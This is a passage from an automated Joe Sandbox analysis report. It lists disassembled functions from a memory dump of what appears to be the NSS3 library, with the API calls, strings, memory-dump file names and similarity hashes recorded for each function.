PR_LogPrint.NSS3( ppFunctionList = 0x%p,?), ref: 6C792551

Part of subcall function 6C8709D0: PR_Now.NSS3 ref: 6C870A22
Part of subcall function 6C8709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C870A35
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C870A66
Part of subcall function 6C8709D0: PR_GetCurrentThread.NSS3 ref: 6C870A70
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C870A9D
Part of subcall function 6C8709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C870AC8
Part of subcall function 6C8709D0: PR_vsmprintf.NSS3(?,?), ref: 6C870AE8
Part of subcall function 6C8709D0: EnterCriticalSection.KERNEL32(?), ref: 6C870B19
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870B48
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870C76
Part of subcall function 6C8709D0: PR_LogFlush.NSS3 ref: 6C870C7E

Strings

ppFunctionList = 0x%p, xrefs: 6C79254C
C_GetFunctionList, xrefs: 6C792533

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: ppFunctionList = 0x%p$C_GetFunctionList
API String ID: 1907330108-525396629
Opcode ID: 6104159db19dd6e65baa3a0158eb46e77ceab77a604bbd926f4dffc0cdef9cfb
Instruction ID: e440a68d42a5ded01a8310828c9c95fc9aed9aa8c2362f59b83687fb3ccec4d8
Opcode Fuzzy Hash: 6104159db19dd6e65baa3a0158eb46e77ceab77a604bbd926f4dffc0cdef9cfb
Instruction Fuzzy Hash: 6301F5B43011409FCB30AB58EA4CB5933B4E7C235EF044476E505D3B51DB38AA89CBE2

Function 6C7B46D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C7A7A4F,?), ref: 6C7B46F6
EnterCriticalSection.KERNEL32(?,?,?,6C7A7A4F,?), ref: 6C7B470B
PR_Unlock.NSS3(?,?,?,?,6C7A7A4F,?), ref: 6C7B4720

Strings

Ozzl, xrefs: 6C7B46D9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue
String ID: Ozzl
API String ID: 1419708843-713148158
Opcode ID: 1cd0f8b8b30f7b828d39a12524b2d0c3f1e025c26eeb4ec3cd4b3bbd755ef77b
Instruction ID: 280d4dd6fa0c4ccb56a15cb4b317fef49cc85c811a72699db739add4b340595f
Opcode Fuzzy Hash: 1cd0f8b8b30f7b828d39a12524b2d0c3f1e025c26eeb4ec3cd4b3bbd755ef77b
Instruction Fuzzy Hash: 3A0180B1A046059FDB10AF38C58856ABBF4FF06359F014979D88897A01E734E494CBE2

Function 6C7A0630 Relevance: 6.1, APIs: 4, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7A1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C7A563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C7A195C
Part of subcall function 6C7A1940: EnterCriticalSection.KERNEL32(?,?,6C7A563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C77EAC5,00000001), ref: 6C7A1970
Part of subcall function 6C7A1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C77EAC5,00000001,?,6C77CE9B,00000001,6C77EAC5), ref: 6C7A19A0

PORT_Alloc_Util.NSS3(00000000,?,?,?,?,?,?,00000000,?,00000009), ref: 6C7A0678

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,?,00000009), ref: 6C7A06E6
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C7A0770

Part of subcall function 6C7A1EA0: PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&zl,6C786295,?,00000000,?,00000001,S&zl,?), ref: 6C7A1ECB

free.MOZGLUE(?), ref: 6C7A0787

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$Value$Alloc_CriticalEnterSectionUnlockUtilfreemalloc
String ID:
API String ID: 1159529522-0
Opcode ID: 35ae300e51523b24ac10a4731d63857fcb73b62c234279d90c7a294dd9f6f069
Instruction ID: c087c96de6c1a0e676ea0658c905b1467d93789dbb107c93abc315893d56e307
Opcode Fuzzy Hash: 35ae300e51523b24ac10a4731d63857fcb73b62c234279d90c7a294dd9f6f069
Instruction Fuzzy Hash: 4F4129B1D002459BDB10DFB89D84EAF3B78AF85358F140A38E91A57741E731D916CBE1

Function 6C878530 Relevance: 6.1, APIs: 4, Instructions: 127threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8C14E4,6C82CC70), ref: 6C878569
gethostbyaddr.WSOCK32(?,00000004,00000002), ref: 6C8785AD
GetLastError.KERNEL32(?,00000004,00000002), ref: 6C8785B6
PR_GetCurrentThread.NSS3(?,00000004,00000002), ref: 6C8785C6

Part of subcall function 6C750F00: PR_GetPageSize.NSS3(6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F1B
Part of subcall function 6C750F00: PR_NewLogModule.NSS3(clock,6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F25

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CallCurrentErrorLastModuleOncePageSizeThreadgethostbyaddr
String ID:
API String ID: 4254312643-0
Opcode ID: e87f8fd91ddbe5c2259f90d5cc0e02bc0e16169e7e2d7964b55c33014955303c
Instruction ID: ffb29c79b692b0cfe148354ce5c28fe3df04087b1452c2ddb8e7cd44a209dc18
Opcode Fuzzy Hash: e87f8fd91ddbe5c2259f90d5cc0e02bc0e16169e7e2d7964b55c33014955303c
Instruction Fuzzy Hash: 3141E9B0608306ABE7348B35CA58759B7B5AB4532CF084B2BC91563AC1F7749D84C7E1

Function 6C824FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C7085D2,00000000,?,?), ref: 6C824FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C82500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8250C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8250D6

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 9ef1f5cbd5c1b35a2523da2a91a2335c3f843c78bbecac7bcc7707f781e58806
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: E74183B2A402158FCB28CF18DCD179AB7E1BF4431871D4A69C84AC7706E379E891CBD1

Function 6C7B0420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6C79C97F,?,?,?), ref: 6C7B04BF
TlsGetValue.KERNEL32(00000000,?,6C79C97F,?,?,?), ref: 6C7B04F4
EnterCriticalSection.KERNEL32(?,?,?,6C79C97F,?,?,?), ref: 6C7B050D
PR_Unlock.NSS3(?,?,?,?,6C79C97F,?,?,?), ref: 6C7B0556

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 1d36dd1bf7f946cc7d74534580cd1acfc6e3e5cd075d7b8f8a755a6eb8a97167
Instruction ID: 664c2bb8ca1dd2a77c279b90b55f94b861395ae9b1e02fd391572acade44a1f8
Opcode Fuzzy Hash: 1d36dd1bf7f946cc7d74534580cd1acfc6e3e5cd075d7b8f8a755a6eb8a97167
Instruction Fuzzy Hash: E1414CB4A016468FDB14DF29C784A69BBF4FF44318F15857DD8A99BB11EB30E891CB80

Function 6C766C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C766C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C766CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C766CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C888FE0), ref: 6C766CFE

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ab07fb0c2e1d1d7e94766ac2937d978190d8f78b4e444f470286a1b66438f219
Instruction ID: 8e17dba272c0da22aaf2a7bf51379676f20dd0553c4db02936950f70cd4ce744
Opcode Fuzzy Hash: ab07fb0c2e1d1d7e94766ac2937d978190d8f78b4e444f470286a1b66438f219
Instruction Fuzzy Hash: DD319EB5A002169FDB04CF66C995ABFBBF5EF85348B10443DD905E7B40EB31A905CBA0

Function 6C874F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C874F5D
free.MOZGLUE(?), ref: 6C874F74
free.MOZGLUE(?), ref: 6C874F82
GetLastError.KERNEL32 ref: 6C874F90

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 12fbed88086023a7b86d5960b472ec2ab6cba108b5cd0a6829ac7e3cf5864337
Instruction ID: 582d866c0b9ab948407d05dac39ed4d8f7f88ab8319baeef4acfa80187ce5e50
Opcode Fuzzy Hash: 12fbed88086023a7b86d5960b472ec2ab6cba108b5cd0a6829ac7e3cf5864337
Instruction Fuzzy Hash: B33139B5A002094BDB21CB68DD81BDFB3B8EFC5388F040625E815A7281E7349904CAA1

Function 6C7D6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C7D6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7D6E57

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C7D6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C7D6EAA

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 3b5edb0ded24910908f518f40a595da4970afb13bb01aef96c766a45ce07c419
Instruction ID: 540d88ed05e78833800187ff2f75c9fd9ab24de4494dcfb7370c66e0dd27758d
Opcode Fuzzy Hash: 3b5edb0ded24910908f518f40a595da4970afb13bb01aef96c766a45ce07c419
Instruction Fuzzy Hash: 60319171610513EFDB145F34DE08396B7A8BB0131AF160E3DD499D6A85EB317694CF81

Function 6C7C8530 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,6C7C72EC), ref: 6C7C855A

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

PORT_ArenaGrow_Util.NSS3(?,00000000,?,00000001,?,?,6C7C72EC), ref: 6C7C859E
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C7C72EC), ref: 6C7C85B8
PR_SetError.NSS3(FFFFE005,00000000,?,6C7C72EC), ref: 6C7C8600

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ErrorUtil$ArenaHashLookupTable$Alloc_ConstFindGrow_
String ID:
API String ID: 1727503455-0
Opcode ID: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction ID: a32736f0028a4db69c1ab7fb833d2c8d7c6d69e90401cf3cbed20671bdce7279
Opcode Fuzzy Hash: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction Fuzzy Hash: 2B21C472B002135FE7008F2DEE44B2B76A9AF8131DF65413AE86597750EBB1D805C7A7

Function 6C7504D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6C7504F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C75053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C750558
GetLastError.KERNEL32 ref: 6C75057A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: f0067f45dc81e15c667201fddf55652ab09cb2395aeb755b81c4a80e87a106f8
Instruction ID: 951643b122491b0d9f347555c352d2794a82f02ec0e36b169257d1724537ca5e
Opcode Fuzzy Hash: f0067f45dc81e15c667201fddf55652ab09cb2395aeb755b81c4a80e87a106f8
Instruction Fuzzy Hash: 50215071A001189FDB14DF58DD98EAEB7B8FF49308B108469E8099B351DB35ED06CBD0

Function 6C7D2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7D2E08

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C7D2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C7D2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7D2E95

Part of subcall function 6C7C1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C1228
Part of subcall function 6C7C1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C7C1238
Part of subcall function 6C7C1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C124B
Part of subcall function 6C7C1200: PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0,00000000,00000000,00000000,?,6C7688A4,00000000,00000000), ref: 6C7C125D
Part of subcall function 6C7C1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C7C126F
Part of subcall function 6C7C1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7C1280
Part of subcall function 6C7C1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C7C128E
Part of subcall function 6C7C1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C7C129A
Part of subcall function 6C7C1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7C12A1

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 07041323813b464452b94258f6149a94fe0bae607fdce0667438ec78573ea139
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: CD21D7B1E003464BE700CF549E4C7AA37686F9130CF120279DD085B742F7B1EA95C292

Function 6C78ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C78ACC2

Part of subcall function 6C762F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C762F0A
Part of subcall function 6C762F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C762F1D

Part of subcall function 6C762AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C760A1B,00000000), ref: 6C762AF0
Part of subcall function 6C762AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C762B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C78AD5E

Part of subcall function 6C7A57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C76B41E,00000000,00000000,?,00000000,?,6C76B41E,00000000,00000000,00000001,?), ref: 6C7A57E0
Part of subcall function 6C7A57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C7A5843

CERT_DestroyCertList.NSS3(?), ref: 6C78AD36

Part of subcall function 6C762F50: CERT_DestroyCertificate.NSS3(?), ref: 6C762F65
Part of subcall function 6C762F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C762F83

free.MOZGLUE(?), ref: 6C78AD4F

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 17c635f1300650b3481c926a3247e2362d95d92d0b6b8abcc434b444443c8cd7
Instruction ID: e407af4c31153971b7ddcde0fe606adaff1aefe61b97cbc165ae2152fc26925f
Opcode Fuzzy Hash: 17c635f1300650b3481c926a3247e2362d95d92d0b6b8abcc434b444443c8cd7
Instruction Fuzzy Hash: 1121C3B1D022148BEF10DFA5DA0A5EEB7B4EF05218F054078DC09BB641FB31AA49CBE1

Function 6C7A24E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7A24FF
EnterCriticalSection.KERNEL32(?), ref: 6C7A250F
PR_Unlock.NSS3(?), ref: 6C7A253C
PR_SetError.NSS3(00000000,00000000), ref: 6C7A2554

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
